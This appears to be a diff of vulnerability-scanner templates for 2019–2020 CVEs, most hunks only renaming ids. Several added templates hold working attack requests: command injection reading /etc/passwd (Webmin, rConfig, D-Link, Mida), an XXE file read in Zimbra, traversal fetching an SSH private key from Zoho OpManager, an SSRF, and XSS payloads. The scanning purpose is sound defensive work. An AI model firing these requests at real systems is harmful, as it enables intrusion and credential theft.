@@ -1,4 +1,4 @@
-id: CVE-2019-12461
+id: cve-2019-12461

 info:
  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
@@ -1,4 +1,4 @@
-id: CVE-2019-12593
+id: cve-2019-12593

 info:
  name: IIceWarp <=10.4.4 - Local File Inclusion
@@ -1,4 +1,4 @@
-id: CVE-2019-14322
+id: cve-2019-14322

 info:
  name: Odoo 12.0 - Local File Inclusion
@@ -1,4 +1,4 @@
-id: CVE-2019-14696
+id: cve-2019-14696

 info:
  name: Open-Scool 3.0/Community Edition 2.3 - Cross Site Scripting
@@ -9,7 +9,7 @@ info:
 # Vendor Homepage: [https://open-school.org/]

 requests:
-  - metod: GET
+  - method: GET
    path:
      - '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

@@ -1,4 +1,4 @@
-id: CVE-2019-14974
+id: cve-2019-14974

 info:
  name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
@@ -1,4 +1,4 @@
-id: CVE-2019-15043
+id: cve-2019-15043
 info:
  author: bing0o
  name: Grafana unauthenticated API
@@ -0,0 +1,32 @@
+id: cve-2019-15107
+
+info:
+  name: Webmin <= 1.920 Unauhenticated Remote Command Execution
+  author: bp0lr
+  severity: high
+
+# Refrence:-https://www.exploit-db.com/exploits/47293
+# Refrence:-https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
+
+requests:
+  - raw:  #
+      - |
+        POST /password_change.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: https://{{Hostname}}/
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 73
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,29 @@
+id: cve-2019-15858
+
+info:
+  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
+  author: dwisiswant0
+  severity: high
+  description: |
+    This template supports the detection part only. See references.
+
+    admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
+    before 2.2.5 for WordPress allows unauthenticated options import,
+    as demonstrated by storing an XSS payload for remote code execution.
+
+    Source/References:
+    - https://github.com/GeneralEG/CVE-2019-15858
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "2.2.5"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-16278
+id: cve-2019-16278

 info:
  author: pikpikcu
@@ -0,0 +1,20 @@
+id: cve-2019-1653
+
+info:
+  name: Unauthenticated Cisco Small Business WAN VPN Routers Sensitive Info Disclosure
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/config.exp"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "sysconfig"
+        part: body
@@ -0,0 +1,21 @@
+id: cve-2019-16662
+
+info:
+  name: rConfig 3.9.2 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+# Source:-https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,4 +1,4 @@
-id: CVE-2019-16759-1
+id: cve-2019-16759-1

 info:
  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
@@ -1,4 +1,4 @@
-id: CVE-2019-16759
+id: cve-2019-16759

 info:
  name: 0day RCE in vBulletin v5.0.0-v5.5.4
@@ -0,0 +1,65 @@
+id: cve-2019-16920
+
+info:
+  name: Unauthenticated Multiple D-Link Routers RCE
+  author: dwisiswant0
+  severity: critical
+  description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
+
+  # References:
+  # - https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
+
+requests:
+  - raw:
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: CVE-2019-17382
+id: cve-2019-17382

 info:
  name: Zabbix Authentication Bypass
@@ -1,4 +1,4 @@
-id: CVE-2019-17558
+id: cve-2019-17558

 info:
  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
@@ -1,4 +1,4 @@
-id: CVE-2019-18394
+id: cve-2019-18394

 info:
  name: Openfire Full Read SSRF
@@ -1,4 +1,4 @@
-id: CVE-2019-19368
+id: cve-2019-19368

 info:
  name: Rumpus FTP Web File Manager 8.2.9.1 XSS
@@ -1,4 +1,4 @@
-id: CVE-2019-19781
+id: cve-2019-19781

 info:
  name: Citrix ADC Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-19908
+id: cve-2019-19908

 info:
  name: phpMyChat-Plus XSS
@@ -1,4 +1,4 @@
-id: CVE-2019-19985
+id: cve-2019-19985

 info:
  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
@@ -0,0 +1,20 @@
+id: cve-2019-20141
+
+info:
+  name: Neon Dashboard - XSS Reflected
+  author: knassar702
+  severity: medium
+  description: |
+    An XSS issue was discovered in the Laborator Neon theme 2.0 for WordPress via the data/autosuggest-remote.php q parameter.
+    Source/References:
+    - https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+      - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+    matchers:
+      - type: word
+        words:
+          - "<img src=x onerror=alert(1)>"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-2588
+id: cve-2019-2588

 info:
  name: Oracle Business Intelligence Path Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-2725
+id: cve-2019-2725

 info:
  name: Oracle WebLogic Server - Unauthenticated RCE
@@ -1,4 +1,4 @@
-id: CVE-2019-3396
+id: cve-2019-3396
 info:
  author: "Harsh Bothra"
  name: "Atlassian Confluence Path Traversal"
@@ -1,4 +1,4 @@
-id: CVE-2019-3799
+id: cve-2019-3799
 info:
  name: Spring-Cloud-Config-Server Directory Traversal
  author: madrobot
@@ -1,4 +1,4 @@
-id: CVE-2019-5418
+id: cve-2019-5418

 info:
  name: File Content Disclosure on Rails
@@ -1,4 +1,4 @@
-id: CVE-2019-6112
+id: cve-2019-6112

 info:
  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
@@ -0,0 +1,26 @@
+id: cve-2019-6715
+
+info:
+  name: CVE-2019-6715
+  author: randomrobbie
+  severity: high
+  description: W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated Arbitrary File Read / SSRF
+
+requests:
+  - raw:
+      - |
+        PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
+        Content-Length: 124
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+
+        {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://rfi.nessus.org/rfi.txt"}
+
+    matchers:
+      - type: word
+        words:
+          - "TmVzc3VzQ29kZUV4ZWNUZXN0"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-7256
+id: cve-2019-7256

 info:
  name: eMerge E3 1.00-06 - Remote Code Execution
@@ -37,6 +37,6 @@ requests:
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "root:"
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,4 +1,4 @@
-id: CVE-2019-7609
+id: cve-2019-7609

 info:
  name: Kibana Timelion Arbitrary Code Execution
@@ -0,0 +1,19 @@
+id: cve-2019-8442
+info:
+  name: JIRA Directory Traversal
+  author: Kishore Krishna (siLLyDaddy)
+  severity: medium
+requests:
+  - method: GET
+    path:
+      - >-
+        {{BaseURL}}/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - <groupId>com.atlassian.jira</groupId>
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-8449
+id: cve-2019-8449

 info:
  name: JIRA Unauthenticated Sensitive Information Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2019-8451
+id: cve-2019-8451

 info:
  name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
@@ -1,4 +1,4 @@
-id: CVE-2019-8903
+id: cve-2019-8903

 info:
  name: Totaljs - Unathenticated Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-8982
+id: cve-2019-8982
 info:
  name: Wavemaker Studio 6.6 LFI/SSRF
  author: madrobot
@@ -0,0 +1,31 @@
+id: cve-2019-9670
+
+info:
+  name: Zimbra Collaboration XXE
+  description: "mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
+  author: ree4pwn
+  severity: critical
+
+requests:
+  - raw:
+      - |
+        POST /Autodiscover/Autodiscover.xml HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+
+        <!DOCTYPE xxe [
+        <!ELEMENT name ANY >
+        <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
+        <Request>
+        <EMailAddress>aaaaa</EMailAddress>
+        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
+        </Request>
+        </Autodiscover>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-9978
+id: cve-2019-9978

 info:
  name: WordPress social-warfare RFI
@@ -1,4 +1,4 @@
-id: CVE-2020-10199
+id: cve-2020-10199

 info:
  name: Nexus Repository Manager 3 RCE
@@ -1,4 +1,4 @@
-id: CVE-2020-10204
+id: cve-2020-10204

 info:
  name: Sonatype Nexus Repository RCE
@@ -1,11 +1,11 @@
-id: CVE-2020-11034
+id: cve-2020-11034

 info:
  name: GLPI v.9.4.6 - Open redirect
  author: pikpikcu
  severity: low

- # security-advisories: https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
+ # https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
 # https://github.com/glpi-project/glpi/archive/9.4.6.zip
 # https://nvd.nist.gov/vuln/detail/CVE-2020-11034

@@ -1,4 +1,4 @@
-id: CVE-2020-1147
+id: cve-2020-1147

 info:
  name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
@@ -0,0 +1,54 @@
+id: cve-2020-12116
+
+info:
+  name: Unauthenticated Zoho ManageEngine OpManger Arbitrary File Read
+  author: dwisiswant0
+  severity: high
+  description: Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a crafted request.
+
+  # References:
+  # - https://github.com/BeetleChunks/CVE-2020-12116
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Connection: close
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}:8060
+        Accept: */*
+        Connection: close
+
+      - |
+        GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Cache-Control: max-age=0
+        Connection: close
+        Referer: http://{{Hostname}}
+
+      - |
+        GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
+        Host: {{Hostname}}:8060
+        Accept: */*
+        Cache-Control: max-age=0
+        Connection: close
+        Referer: http://{{Hostname}}:8060/
+
+    extractors:
+      - type: regex
+        name: endpoint
+        part: body
+        internal: true
+        regex:
+          - "(?m)/cachestart/.*/jquery/"
+
+    matchers:
+      - type: word
+        words:
+          - "BEGIN RSA PRIVATE KEY"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2020-12720
+id: cve-2020-12720

 info:
  name: CVE-2020-12720 vBulletin SQLI
@@ -1,4 +1,4 @@
-id: CVE-2020-13167
+id: cve-2020-13167

 info:
  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
@@ -1,22 +0,0 @@
-id: CVE-2020-13379
-
-info:
-  name: Unauthenticated Grafana DoS
-  author: pxmme1337
-  severity: medium
-  description: The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client.
-
-  # Source:-  https://www.exploit-db.com/exploits/48638
-  # WARNING
-  # This vulnerability results in complete crashing of the grafana-server application.
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
-      - '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
-      - "{{BaseURL}}/"
-    matchers:
-      - type: status
-        status:
-          - 502
@@ -0,0 +1,26 @@
+id: cve-2020-14179
+
+info:
+  name: Sensitive data exposure via insecure Jira endpoint
+  author: x1m_martijn
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.
+
+  # Source:-  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14179
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/QueryComponent!Default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "searchers"
+          - "groups"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: cve-2020-14181
+
+info:
+  name: User enumeration via insecure Jira endpoint
+  author: bjhulst
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint. The affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.
+
+# Source:-  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14181
+# This template supports the detection part only.
+# Do not test any website without permission
+# Do not report without having working poc.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ViewUserHover.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "User does not exist"
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,24 @@
+id: CVE-2020-14864
+info:
+  name: 'Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  description: 'Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  author: Ivo Palazzolo (@palaziv)
+  # cvss: 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
+  severity: high
+requests:
+  - method: GET
+    headers:
+      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+    path:
+      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies
+      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body
@@ -0,0 +1,28 @@
+id: cve-2020-15129
+
+info:
+  name: Open-redirect in Traefik
+  author: dwisiswant0
+  severity: medium
+  description: There exists a potential open redirect vulnerability in Traefik's handling of the X-Forwarded-Prefix header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team may want to address this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios.
+
+  # Ref:
+  # - https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+      - "{{BaseURL}}:8081"
+    headers:
+      X-Forwarded-Prefix: "https://foo.nl"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 302
+      - type: word
+        words:
+          - "<a href=\"https://foo.nl/dashboard/\">Found</a>"
+        condition: or
+        part: body
@@ -0,0 +1,37 @@
+id: cve-2020-15505
+
+info:
+  name: RCE in MobileIron Core & Connector <= v10.6 & Sentry <= v9.8
+  author: dwisiswant0
+  severity: critical
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see references[2] below.
+  # This template works by passing a Hessian header, otherwise;
+  # it will return a 403 or 500 internal server error. References[3].
+
+  # References:
+  # - [1] https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html
+  # - [2] https://github.com/iamnoooob/CVE-Reverse/tree/master/CVE-2020-15505
+  # - [3] https://github.com/iamnoooob/CVE-Reverse/blob/master/CVE-2020-15505/hessian.py#L10
+  # - [4] https://github.com/orangetw/JNDI-Injection-Bypass
+
+requests:
+  - raw:
+      - |
+        POST /mifs/.;/services/LogService HTTP/1.1
+        Host: {{Hostname}}
+        Referer: https://{{Hostname}}
+        Content-Type: x-application/hessian
+        Connection: close
+
+        {{hex_decode('630200480004')}}
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/x-hessian"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: CVE-2020-15920
+id: cve-2020-15920

 info:
  name: Unauthenticated RCE at Mida eFramework on 'PDC/ajaxreq.php'
@@ -12,7 +12,7 @@ info:
 requests:
  - method: POST
    path:
-      - "{{BaseURL}}/PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"
+      - "{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"
    matchers-condition: and
    matchers:
      - type: status
@@ -1,4 +1,4 @@
-id: CVE-2020-16139
+id: cve-2020-16139

 info:
  name: Cisco 7937G Denial-of-Service Reboot Attack
@@ -0,0 +1,36 @@
+id: cve-2020-16952
+
+info:
+  name: Microsoft SharePoint Server-Side Include (SSI) and ViewState RCE
+  author: dwisiswant0
+  severity: critical
+
+  # This template supports the detection part only. See references[2].
+  # References:
+  # - [1] Patch: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16952
+  # - [2] https://srcincite.io/pocs/cve-2020-16952.py.txt
+  # - [3] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952
+  # - [4] https://github.com/rapid7/metasploit-framework/blob/1a341ae93191ac5f6d8a9603aebb6b3a1f65f107/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "15\\.0\\.0\\.(4571|5275|4351|5056)"
+          - "16\\.0\\.0\\.(10337|10364|10366)"
+          # - "16.0.10364.20001"
+        condition: or
+        part: body
+      - type: word
+        words:
+          - "MicrosoftSharePointTeamServices"
+        part: header
+      - type: status
+        status:
+          - 200
+          - 201
+        condition: or
@@ -1,4 +1,4 @@
-id: CVE-2020-17505
+id: cve-2020-17505

 info:
  name: Artica Web Proxy 4.30 OS Command Injection
@@ -1,4 +1,4 @@
-id: CVE-2020-17506
+id: cve-2020-17506

 info:
  name: Artica Web Proxy 4.30 Authentication Bypass
@@ -1,4 +1,4 @@
-id: CVE-2020-2096
+id: cve-2020-2096

 info:
  name: Jenkins Gitlab Hook XSS